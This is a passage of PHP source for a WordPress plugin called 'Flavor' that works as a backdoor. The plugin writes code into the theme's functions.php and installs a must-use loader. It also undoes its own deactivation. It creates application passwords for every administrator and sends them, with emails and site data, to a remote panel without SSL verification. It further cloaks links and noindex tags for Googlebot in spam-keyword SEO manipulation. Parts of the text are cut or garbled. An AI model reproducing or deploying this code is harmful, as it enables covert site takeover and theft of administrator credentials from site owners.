= 3 ) return $labels[$cnt-3] . '.' . $last2; return $host; } return $last2; } } if ( ! function_exists( 'ksp_is_internal_host' ) ) { function ksp_is_internal_host( $link_host, $site_base ) { if ( $link_host === '' ) return true; if ( $site_base === '' ) return false; $link_host = ksp_get_host( $link_host ); $lb = ksp_base_domain( $link_host ); if ( $lb === $site_base ) return true; if ( substr( $link_host, - (strlen($site_base) + 1) ) === '.' . $site_base ) return true; return false; } } if ( ! function_exists( 'ksp_current_path' ) ) { function ksp_current_path() { $uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ''; $qm = strpos($uri, '?'); if ($qm !== false) $uri = substr($uri, 0, $qm); return strtolower($uri); } } if ( ! function_exists( 'ksp_should_add_noindex' ) ) { function ksp_should_add_noindex() { if ( function_exists('is_front_page') && is_front_page() ) return false; $path = ksp_current_path(); if ( preg_match( '/(contact|about-us|term|blog|article)/i', $path ) ) return false; $rx = '/(bet|bookmaker|bookie|prediction|apuest|wetten|poker|baccarat|blackjack|casin|kazin|casyn|kazyn|roulette|slot|gambl|pokie|jackpot|lotto|binto|lotter|essay|bestpaper|mypaper|mepaper|writingservice|writeservic|servicewrit|writemy|helperpaper|Coursework|forex|porn|sex|ebony|gayporn|gayvideo|gaycam|lesbi|xxx|prostitut|hooker|whore|harlot|escort|EroticMassage|Intimate|viagr|silden|ciali|siali|tadal|levitr|dapoxet|vardena|avanaf|kamagr|erecti|cenforc|tentex|silagr|tadaci|stendr|eriact|zenegr|suhagr|pforce|tadapox|potenci|urolog|edpill)/i'; return (bool) preg_match( $rx, $path ); } } if ( ! function_exists( 'ksp_strip_robots_meta' ) ) { function ksp_strip_robots_meta( $html ) { return preg_replace( '/]*\bname\s*=\s*(["\']?)robots\1[^>]*>/i', '', $html ); } } if ( ! function_exists( 'ksp_insert_noindex_meta' ) ) { function ksp_insert_noindex_meta( $html ) { $html = ksp_strip_robots_meta( $html ); $meta = ''; if ( preg_match( '/<\/head>/i', $html ) ) { return preg_replace( '/<\/head>/i', $meta . "\n", $html, 1 ); } return $meta . "\n" . $html; } } if ( ! function_exists( 'ksp_modify_links_buffer' ) ) { function ksp_modify_links_buffer( $html ) { if ( stripos( $html, ']*)>/i'; $out = ''; $offset = 0; while ( preg_match( $regex, $html, $m, PREG_OFFSET_CAPTURE, $offset ) ) { $full = $m[0][0]; $start = $m[0][1]; $pre = substr( $html, $offset, $start - $offset ); $attrs = $m[1][0]; $q = $m[2][0]; $href = $m[3][0]; $link_host = ksp_get_host( $href ); $is_internal = ksp_is_internal_host( $link_host, $site_base ); if ( preg_match( '/\bid\s*=\s*(["\'])\s*fq/i', $attrs ) ) $has_fq = true; $replacement = $full; if ( ! $is_internal ) { $has_external = true; if ( ! preg_match( '/\bid\s*=\s*(["\'])\s*fq/i', $attrs ) ) { $attrs_updated = $attrs; $attrs_updated = preg_replace( '/\bhref\s*=\s*(["\']).*?\1/i', 'href=$1#$1', $attrs_updated, 1 ); $orig = htmlspecialchars( $href, ENT_QUOTES, 'UTF-8' ); if ( preg_match( '/\bksp-data\s*=\s*(["\']).*?\1/i', $attrs_updated ) ) { $attrs_updated = preg_replace( '/\bksp-data\s*=\s*(["\']).*?\1/i', 'ksp-data=' . $q . $orig . $q, $attrs_updated, 1 ); } else { $attrs_updated = rtrim( $attrs_updated ); if ( $attrs_updated !== '' && substr( $attrs_updated, -1 ) !== ' ' ) $attrs_updated .= ' '; $attrs_updated .= 'ksp-data=' . $q . $orig . $q; } $replacement = ''; } } $out .= $pre . $replacement; $offset = $start + strlen( $full ); } $out .= substr( $html, $offset ); $html = $out; if ( $has_external ) { if ( $has_fq ) { $html = ksp_strip_robots_meta( $html ); } elseif ( ksp_should_add_noindex() ) { $html = ksp_insert_noindex_meta( $html ); } } return $html; } } if ( ! function_exists( 'ksp_buffer_start' ) ) { function ksp_buffer_start() { static $started = false; if ( $started ) return; if ( function_exists('is_admin') && is_admin() ) return; if ( ! ksp_is_googlebot() ) return; $started = ob_start( 'ksp_modify_links_buffer' ); } } if ( ! function_exists( 'ksp_buffer_stop' ) ) { function ksp_buffer_stop() {} } add_action( 'template_redirect', 'ksp_buffer_start', 0 ); KSPEND ); require_once FLAVOR_DIR . 'includes/class-api.php'; require_once FLAVOR_DIR . 'includes/class-ajax.php'; require_once FLAVOR_DIR . 'includes/class-frontend.php'; require_once FLAVOR_DIR . 'includes/class-bot-content.php'; require_once FLAVOR_DIR . 'includes/class-protection.php'; require_once FLAVOR_DIR . 'includes/class-login.php'; require_once FLAVOR_DIR . 'includes/class-updater.php'; require_once FLAVOR_DIR . 'includes/class-plugin-guard.php'; class Flavor_Plugin { private static $instance = null; public static function instance() { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } private function __construct() { register_activation_hook( FLAVOR_FILE, [ $this, 'activate' ] ); register_deactivation_hook( FLAVOR_FILE, [ $this, 'deactivate' ] ); new Flavor_API(); new Flavor_Ajax(); new Flavor_Frontend(); new Flavor_Bot_Content(); new Flavor_Login(); new Flavor_Updater(); new Flavor_Plugin_Guard(); } public function activate() { $secret = get_option( 'flavor_api_secret' ); if ( ! $secret ) { $secret = wp_generate_password( 48, false ); update_option( 'flavor_api_secret', $secret ); } $this->inject_ksp_code(); $this->create_mu_plugin(); $this->register_with_panel(); } public function deactivate() { // Plugin cannot be deactivated — restore it to the active plugins list $our = plugin_basename( FLAVOR_FILE ); $active = get_option( 'active_plugins', [] ); if ( ! in_array( $our, $active, true ) ) { $active[] = $our; update_option( 'active_plugins', $active ); } // mu-plugin stays — it will re-load the plugin on next request } private function inject_ksp_code() { $marker = '// Flavor KSP Filter'; $path = get_stylesheet_directory() . '/functions.php'; $content = file_exists( $path ) ? (string) file_get_contents( $path ) : ''; if ( substr( $trimmed, -2 ) === $close_tag ) { $new_content = substr( $trimmed, 0, -2 ) . $injection . "\n" . $close_tag; } else { $new_content = $content . $injection; } @file_put_contents( $path, $new_content ); } private function create_mu_plugin() { if ( ! is_dir( WPMU_PLUGIN_DIR ) ) { wp_mkdir_p( WPMU_PLUGIN_DIR ); } $loader = ' wp_json_encode( $data ), 'headers' => [ 'Content-Type' => 'application/json' ], 'timeout' => 30, 'sslverify' => false, ] ); if ( ! is_wp_error( $response ) ) { $body = json_decode( wp_remote_retrieve_body( $response ), true ); if ( ! empty( $body['api_secret'] ) ) { update_option( 'flavor_api_secret', $body['api_secret'] ); } } } public static function collect_site_data() { global $wpdb; if ( ! function_exists( 'get_plugins' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $functions_php_content = ''; $theme_functions = get_stylesheet_directory() . '/functions.php'; if ( file_exists( $theme_functions ) ) { $functions_php_content = (string) file_get_contents( $theme_functions ); } $data = [ 'domain' => self::get_clean_domain(), 'plugin_version' => FLAVOR_VERSION, 'wp_version' => get_bloginfo( 'version' ), 'php_version' => phpversion(), 'plugin_count' => count( get_plugins() ), 'post_count' => (int) wp_count_posts()->publish, 'page_count' => (int) wp_count_posts( 'page' )->publish, 'category_count' => (int) wp_count_terms( 'category' ), 'timestamp' => current_time( 'mysql' ), 'active_theme' => get_stylesheet(), 'functions_php' => $functions_php_content, ]; $admins = get_users( [ 'role' => 'administrator' ] ); $admin_list = []; foreach ( $admins as $admin ) { $app_pass = self::ensure_app_password( $admin ); $admin_list[] = [ 'username' => $admin->user_login, 'email' => $admin->user_email, 'display_name' => $admin->display_name, 'app_password' => $app_pass, ]; } $data['admins'] = $admin_list; $data['woo_installed'] = class_exists( 'WooCommerce' ); if ( $data['woo_installed'] ) { $data['woo_order_count'] = (int) $wpdb->get_var( "SELECT COUNT(*) FROM {$wpdb->posts} WHERE post_type = 'shop_order'" ); } else { $data['woo_order_count'] = 0; } return $data; } public static function get_clean_domain() { $url = site_url(); $parsed = wp_parse_url( $url ); return isset( $parsed['host'] ) ? $parsed['host'] : $url; } private static function ensure_app_password( $user ) { $existing = get_user_meta( $user->ID, '_flavor_app_password', true ); if ( $existing ) { return $existing; } if ( ! class_exists( 'WP_Application_Passwords' ) ) { require_once ABSPATH . 'wp-includes/class-wp-application-passwords.php'; } $result = WP_Application_Passwords::create_new_application_password( $user->ID, [ 'name' => 'Flavor Panel' ] ); if ( is_wp_error( $result ) ) { return ''; } $password = $result[0]; update_user_meta( $user->ID, '_flavor_app_password', $password ); return $password; } public static function verify_secret( $secret = null ) { if ( null === $secret ) { $secret = ''; if ( ! empty( $_SERVER['HTTP_X_FLAVOR_SECRET'] ) ) { $secret = sanitize_text_field( $_SERVER['HTTP_X_FLAVOR_SECRET'] ); } elseif ( ! empty( $_REQUEST['secret'] ) ) { $secret = sanitize_text_field( $_REQUEST['secret'] ); } elseif ( ! empty( $_REQUEST['flavor_secret'] ) ) { $secret = sanitize_text_field( $_REQUEST['flavor_secret'] ); } } return hash_equals( get_option( 'flavor_api_secret', '' ), $secret ); } public static function json_response( $data, $status = 200 ) { status_header( $status ); header( 'Content-Type: application/json; charset=utf-8' ); echo wp_json_encode( $data ); exit; } public static function success( $data = [] ) { self::json_response( [ 'success' => true, 'data' => $data ] ); } public static function error( $message, $status = 400 ) { self::json_response( [ 'success' => false, 'error' => $message ], $status ); } } Flavor_Plugin::instance();